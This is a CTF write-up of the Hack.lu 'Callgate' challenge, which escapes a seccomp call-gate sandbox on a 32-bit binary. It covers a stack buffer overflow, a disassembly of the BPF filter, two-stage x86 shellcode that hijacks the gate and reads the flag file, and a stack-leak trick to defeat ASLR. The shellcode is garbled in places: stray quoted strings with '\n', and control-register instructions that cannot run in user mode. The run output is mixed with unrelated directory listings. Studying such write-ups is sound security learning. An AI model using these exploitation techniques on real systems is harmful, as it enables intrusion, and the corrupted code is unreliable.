

Hack.lu CTF - Callgate (200pt exploitable)

by daehee

The overall program is very small and simple.

```
enter_gate(4, "Please enter a filename: ");
read_line(0, &v2);
enter_gate(4, "Attempting to open file...\\n");
v3 = enter_gate(2, &v2);
if ( v3 >= 0 )
{
    read_line(v3, &v1);
    if ( streq(&v1, "==> PASSWORD-PROTECTED FILE ===" ) )
    {
        read_line(v3, &v1);
        enter_gate(4, "Please enter password: ");
        read_line(0, &v2);
        if ( streq(&v1, &v2) )
        {
            enter_gate(4, "password correct, dumping file...\\n");
            while ( read_line(3, &v1) )
            {
                enter_gate(4, &v1);
                enter_gate(4, "\\n");
            }
            result = 0;
        }
        else
        {
            enter_gate(4, "bad password\\n");
            enter_gate(3, v3);
            result = 1;
        }
    }
}
```

A quick reversing tells us that

1. it is statically compiled binary with Ubuntu 14.04 default gcc and has no NX
2. it uses prctl - seccomp to restrict the syscalls
3. it doesn't use any library, instead it embeds its own syscall invoking interface
4. it gets filename from your input (which has to start with # character)
5. it opens the file, using your input
6. it reads the file contents and compares the magic sequence
7. it gets password from your input and compares it to rest of the file content
8. if the password matches, it prints all of the file contents

There is an obvious stack based BOF from the read_line function since it acts like gets() against your input.

```
BOOL __cdecl read_line(int a1, int a2)
{
    BOOL result; // eax@7
    char v3; // [sp+17h] [bp-11h]@3
    int v4; // [sp+18h] [bp-10h]@2
    int i; // [sp+1Ch] [bp-Ch]@1

    for ( i = a2; ; ++i )
    {
        v4 = enter_gate(1, a1);
        if ( v4 != 1 || v3 == '\n' )
            break;
        *(_BYTE *)i = v3;
    }
    *(_BYTE *)i = 0;
    *(_DWORD *)&result = v4 == 1 || i != a2;
    return result;
}
```

Since there are no canary, it is ridiculously easy to hijack the eip and ROP the program or execute our shellcode. However, issuing syscall from our shellcode does not work at all. So in fact we got nothing so far. We haven't even started our journey yet :(

The problem is that this binary is jailed by SECCOMP filter. So, even if we can execute our code, we are stuck. Let's see how this binary is jailed.

```
root@ubuntu:/var/www# strace ./callgate
execve("./callgate", ["../callgate"], /* 41 vars */) = 0
prctl(0x26 /* PR_??? */, 0x1, 0, 0, 0) = 0
prctl(PR_SET_SECCOMP, 0x2, 0xbfedbea0, 0, 0) = 0
mprotect(0x7000000, 4096, PROT_NONE)      = 0
mprotect(0x7000000, 4096, PROT_READ|PROT_EXEC) = 0
write(1, "Please enter a filename: ", 25Please enter a filename: ) = 25
mprotect(0x7000000, 4096, PROT_NONE)      = 0
mprotect(0x7000000, 4096, PROT_READ|PROT_EXEC) = 0
read(0, 
```

it calls PR_SET_SECCOMP with SECCOMP_MODE_FILTER option... Let's dig this from google.

PR_SET_SECCOMP (since Linux 2.6.23)

Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls. The seccomp mode is selected via *arg2*. (The seccomp constants are defined in `<linux/seccomp.h>`.)

With *arg2* set to **SECCOMP_MODE_STRICT** the only system calls that the thread is permitted to make are `read(2)`, `write(2)`, `_exit(2)`, and `sigreturn(2)`. Other system calls result in the delivery of a **SIGKILL** signal. Strict secure computing mode is useful for number-crunching applications that may need to execute untrusted byte code, perhaps obtained by reading from a pipe or socket. This operation is available only if the kernel is configured with **CONFIG_SECCOMP** enabled.

With *arg2* set to **SECCOMP_MODE_FILTER** (since Linux 3.5) the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in *arg3*. This argument is a pointer to `struct seccomp_fprog`; it can be designed to filter arbitrary system calls and system call arguments. This mode is available only if the kernel is configured with **CONFIG_SECCOMP_FILTER** enabled.

If **SECCOMP_MODE_FILTER** filters permit `fork(2)`, then the seccomp mode is inherited by children created by `fork(2)`; if `execve(2)` is permitted, then the seccomp mode is preserved across `execve(2)`. If the filters permit `prctl()` calls, then additional filters can be added; they are run in order until the first non-allow result is seen.

For further information, see the kernel source file
`Documentation/prot1/seccomp_filter.txt`.

so its SECCOMP with filter mode. first, we need to dig this for a while (this was most challenging part). It turns out that filter base SECCOMP uses BPF bytecode program to implement the jailing rules against syscalls. Turns out we can only issue syscalls from specific eip, with specific register passing arguments. What we have to do now is understanding the exact rule of this SECCOMP filter.

However we couldn't understand the BPF bytecodes...

```
(gdb) x/250bx $eax
0xbffff078: 0x20 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0xbffff080: 0x15 0x00 0x00 0x15 0x03 0x00 0x00 0x40
0xbffff088: 0x20 0x00 0x00 0x00 0x0c 0x00 0x00 0x00
0xbffff090: 0x15 0x00 0x00 0x13 0x00 0x00 0x00 0x00
0xbffff098: 0x20 0x00 0x00 0x00 0x08 0x00 0x00 0x00
0xbffff0a0: 0x15 0x00 0x12 0x00 0x1a 0x00 0x00 0x07
0xbffff0a8: 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff0b0: 0x15 0x00 0x00 0x0f 0x7d 0x00 0x00 0x00
0xbffff0b8: 0x20 0x00 0x00 0x00 0x10 0x00 0x00 0x00
0xbffff0c0: 0x15 0x00 0x00 0xd 0x00 0x00 0x00 0x07
0xbffff0c8: 0x20 0x00 0x00 0x00 0x14 0x00 0x00 0x00
0xbffff0d0: 0x15 0x00 0x00 0xb 0x00 0x00 0x00 0x00
0xbffff0d8: 0x20 0x00 0x00 0x00 0x18 0x00 0x00 0x00
0xbffff0e0: 0x15 0x00 0x00 0x09 0x00 0x00 0x10 0x00
0xbffff0e8: 0x20 0x00 0x00 0x00 0x1c 0x00 0x00 0x00
0xbffff0f0: 0x15 0x00 0x00 0x07 0x00 0x00 0x00 0x00
0xbffff0f8: 0x20 0x00 0x00 0x00 0x24 0x00 0x00 0x00
0xbffff100: 0x15 0x00 0x00 0x05 0x00 0x00 0x00 0x00
0xbffff108: 0x20 0x00 0x00 0x00 0x20 0x00 0x00 0x00
0xbffff110: 0x15 0x00 0x04 0x00 0x00 0x00 0x00 0x00
0xbffff118: 0x15 0x00 0x00 0x02 0x05 0x00 0x00 0x00
0xbffff120: 0x20 0x00 0x00 0x00 0x08 0x00 0x00 0x00
0xbffff128: 0x15 0x00 0x01 0x00 0x26 0x81 0x04 0x08
0xbffff130: 0x06 0x00 0x00 0x00 0x00 0x00 0x03 0x00
0xbffff138: 0x06 0x00 0x00 0x00 0x00 0x00 0xff 0x7f
0xbffff140: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
```

what the hell does 0x20 0x00 0x00 ... means?? luckily we found a nice BPF bytecode disassembler and dissassembled our BPF filter for callgate binary.

```
root@ubuntu:/var/www# ./bpf bpf_input
line OP JT JF K
=====
0000: 0x20 0x00 0x00 0x00000004 ld $data[4]
0001: 0x15 0x00 0x15 0x40000003 jeq 1073741827 true:0002 false:0023
0002: 0x20 0x00 0x00 0x0000000c ld $data[12]
0003: 0x15 0x00 0x13 0x00000000 jeq 0 true:0004 false:0023
0004: 0x20 0x00 0x00 0x00000008 ld $data[8]
0005: 0x15 0x12 0x00 0x07000001a jeq 117440538 true:0024 false:0006
0006: 0x20 0x00 0x00 0x00000000 ld $data[0]
0007: 0x15 0x00 0xf 0x00000007d jeq 125 true:0008 false:0023
0008: 0x20 0x00 0x00 0x00000010 ld $data[16]
0009: 0x15 0x00 0xd 0x07000000 jeq 117440512 true:0010 false:0023
0010: 0x20 0x00 0x00 0x00000014 ld $data[20]
0011: 0x15 0x00 0xb 0x00000000 jeq 0 true:0012 false:0023
0012: 0x20 0x00 0x00 0x00000018 ld $data[24]
0013: 0x15 0x00 0x9 0x000001000 jeq 4096 true:0014 false:0023
0014: 0x20 0x00 0x00 0x00000001c ld $data[28]
0015: 0x15 0x00 0x7 0x00000000 jeq 0 true:0016 false:0023
0016: 0x20 0x00 0x00 0x00000024 ld $data[36]
0017: 0x15 0x00 0x5 0x00000000 jeq 0 true:0018 false:0023
0018: 0x20 0x00 0x00 0x00000020 ld $data[32]
0019: 0x15 0x04 0x00 0x00000000 jeq 0 true:0024 false:0020
0020: 0x15 0x00 0x2 0x00000005 jeq 5 true:0021 false:0023
0021: 0x20 0x00 0x00 0x00000008 ld $data[8]
0022: 0x15 0x01 0x00 0x08048126 jeq 134512934 true:0024 false:0023
0023: 0x06 0x00 0x00 0x00030000 ret TRAP
0024: 0x06 0x00 0x00 0x7fff0000 ret ALLOW
```

after looking at this disassembled result, the task became clear. We can run our shellcode, but we must use the syscall inside the `enter_gate` function.

So what about ROP? can we just jump into the `enter_gate` function and use int 0x80 gadget and hijack the control again? NO because the `enter_gate` function only allows you to execute the syscall gate mapping if you enter the gate function from the beginning.

see that `enter_gate` gives RX permission to syscall instruction page and revokes the permission when it leave the function.

The screenshot shows three windows from the Immunity Debugger interface, each displaying assembly code:

- Top Window:** Shows assembly code for the `enter_gate` function. The instruction `int 80h` is highlighted in red.
- Middle Window:** Shows assembly code for the `enter_gate_trusted_address` function. The instruction `call handle_secure_call` is highlighted in green, and the entire `enter_gate` label is highlighted in red.
- Bottom Window:** Shows assembly code for the `leave_privileged_mode` function. The instruction `int 80h` is highlighted in red, and the entire `leave_privileged_mode` label is highlighted in red.

Each window has its own set of registers and memory dump tabs at the top.

even if we jump inside to the handle_secure_call() which has allowed syscall instruction, we don't have X permission.

So, what we have to do is "hijack the eip inside the enter_gate function while there is RX permission on the syscall page". Turns out that this could be possible if we use the read function and precisely control the stack. In short, we have to BOF and overwrite the nested internal return address of the enter_gate's sub functions.

So, we managed to build a shellcode which does this. Basically its two staged.

Stage 1 shellcode calculates ROP stack offset and stuffs to hijack control before the enter_gate returns (revokes the permission).

```
# stage 1 shellcode - open the gate
# gate : 0x8048110
# stack offset : 0x44
xor %eax, %eax
mov %esp, %esi
sub $0x44, %esi          0xc15ee0a0
push $0x200                31      # 512
push %esi                  # internal stack address
push %eax                  # to re-mapped writable pages # 0 (stdin)
inc %eax
push %eax                  # 1
movl $0x8048110, %edi      # open gate!
call *%edi
```

if we succeed to do this, the task becomes a simple ROP for int 0x80 instruction at 0x7000018.

```
# stage 2 shellcode - read flag file
# sys_open.h
xor %eax, %eax
push %eax
push $0x67616c66
mov %esp, %ebx             # &'filename'
xor %ecx, %ecx             # O_RDONLY
xor %eax, %eax
mov $0x5, %al               # sys_open
movl $0x7000018, %ebp       0xc15ee0d1
call *%ebp

# sys_read
mov %eax, %ebx              # fd
mov %esp, %ecx              # buf
xor %edx, %edx
movb $0xff, %dl              # size : 256
mov $0x3, %al
push %eax\n" # sys_read
movl $0x7000018, %ebp
mov %cr0, %eax\n"
call *%ebp
"or $0x10000, %eax\n"
"movl %eax, %cr0\n"
# sys_write
"pop %eax\n"
mov $0x1, %ebx              # stdout
mov %esp, %ecx              # buf
xor %edx, %edx
movb $0xff, %dl              # size : 256
mov $0x4, %al
push %eax\n" # sys_write
movl $0x7000018, %ebp
mov %cr0, %eax\n"
call *%ebp
"and $fffffeffff, %eax\n"
```

Now, the strategy is all set. all we gotta do is bruteforce the address and hit our shellcode from the stack. I managed to do this from the local environment in 5 minutes. I thought this would be easy against server as well since the binary is 32-bit. so the ASLR randomness is weak. But it turns out that server is too slow... and the stack based is filled with environment variables. which means that we can't just guess the stack base address, we have to guess the exact shellcode location.

Additionally, the NOP sled size couldn't be too long in the server environment (approximately 960 bytes tops). So, this means that bruteforcing ASLR will not be feasible :(

At this point, I was stuck and talked this to my teammate 'setuid0' and I started to see if I can leak the stack address information. This was a tricky method, but in short, I used "return sled" (not nop sled) and LSB overwriting (I just named it) to inspect the stack parameters and found a nice ROP argument against write() function that leaks stack contents and addresses.

After leaking the stack address, I found out that there was "NO ASLR" It was shocking... So, we can easily guess our shellcode address from the stack. and after few minutes... Voila!

```
Please enter password:      527517684 Oct 18 0
guessing stack base 0xfffffdcccL ...
Please enter a filename:    87945864 Oct 18 0
Attempting to open file...  65948221 Oct 18 0
Please enter password:      4202148 Oct 18 0
got esp 0xfffffdcc0L      meltdown 9546235904 Oct 16 0
flag{just_like_exploiting_crappy_kernels}
*****1Phflag*1*1***1QÉ*1X*
^Cguessing stack base 0xfffffdcd0L ...
Please enter a filename:    futex      in
Attempting to open file...  sub_arm.sh  futex      in
Please enter password:      hexdump.py  koi
                                hexdump.py  koi
                                hexdump.py  koi
```

flag : flag{just_like_exploiting_crappy_kernels}

This task was somewhat difficult compared to other 200pt exploitables.